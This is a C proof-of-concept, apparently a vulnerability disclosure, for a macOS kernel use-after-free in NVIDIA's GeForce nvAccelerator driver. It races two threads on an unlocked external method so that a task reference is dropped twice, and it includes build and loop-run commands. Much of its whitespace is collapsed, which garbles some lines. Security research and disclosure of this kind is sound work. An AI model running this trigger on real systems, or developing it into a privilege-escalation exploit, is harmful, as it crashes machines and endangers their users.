/*
nvDevice::SetAppSupportBits is external method 0x107 of the nvAccelerator IOService.
It calls task_deallocate without locking. Two threads can race calling this external method to drop
two task references when only one is held.
Note that the repro forks a child which give the nvAccelerator a different task otherwise
the repro is more likely to leak task references than panic.
*/// ianbeer#if0MacOS kernel UAF due to lack of locking in nvidia GeForce driver
nvDevice::SetAppSupportBitsis external method 0x107 of the nvAccelerator IOService.It calls task_deallocate without locking.Two threads can race calling this external method to drop
two task references when only one is held.Note that the repro forks a child which give the nvAccelerator a different task otherwise
the repro is more likely to leak task references than panic.#endif// build: clang -o nvtask nvtask.c -framework IOKit// run: while true; do ./nvtask; done#include<stdint.h>#include<stdio.h>#include<string.h>#include<stdlib.h>#include<sys/mman.h>#include<unistd.h>#include<pthread.h>#include<mach/mach.h>#include<mach/vm_map.h>#include<IOKit/IOKitLib.h>
uint64_t set_app_support_bits(mach_port_t conn){
kern_return_t err;
uint64_t inputScalar[16];
uint64_t inputScalarCnt =0;
char inputStruct[4096];
size_t inputStructCnt =0;
uint64_t outputScalar[16];
uint32_t outputScalarCnt =0;
char outputStruct[4096];
size_t outputStructCnt =0;
inputStructCnt =1;
outputStructCnt =1;
inputStruct[0]=0xff;
err =IOConnectCallMethod(
conn,0x107,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,&outputScalarCnt,
outputStruct,&outputStructCnt);if(err !=KERN_SUCCESS){printf("IOConnectCall error: %x\n", err);}else{printf("worked?\n");}return0;}
volatile int go =0;
volatile int running =0;
void*thread_func(void* arg){
mach_port_t conn =(mach_port_t)arg;printf("thread running\n");
running =1;while(!go){;}set_app_support_bits(conn);return0;}
int main(int argc, char** argv){
pid_t child_pid =fork();if(child_pid ==-1){printf("fork failed\n");return0;}if(child_pid){
io_service_t service =IOServiceGetMatchingService(kIOMasterPortDefault,IOServiceMatching("nvAccelerator"));if(service ==MACH_PORT_NULL){printf("unable to find service\n");return0;}printf("got service: 0x%x\n", service);
io_connect_t conn =MACH_PORT_NULL;
kern_return_t err =IOServiceOpen(service,mach_task_self(),5,&conn);// nvDeviceif(err !=KERN_SUCCESS){printf("unable to open ioservice\n");return0;}printf("got service\n");
pthread_t th;pthread_create(&th,NULL, thread_func,(void*)conn);while(!running){;}
go =1;set_app_support_bits(conn);pthread_join(th,NULL);
int loc =0;wait(&loc);}else{
io_service_t service =IOServiceGetMatchingService(kIOMasterPortDefault,IOServiceMatching("nvAccelerator"));if(service ==MACH_PORT_NULL){printf("unable to find service\n");return0;}printf("got service: 0x%x\n", service);
io_connect_t conn =MACH_PORT_NULL;
kern_return_t err =IOServiceOpen(service,mach_task_self(),5,&conn);// nvDeviceif(err !=KERN_SUCCESS){printf("unable to open ioservice\n");return0;}printf("got service\n");set_app_support_bits(conn);}return0;}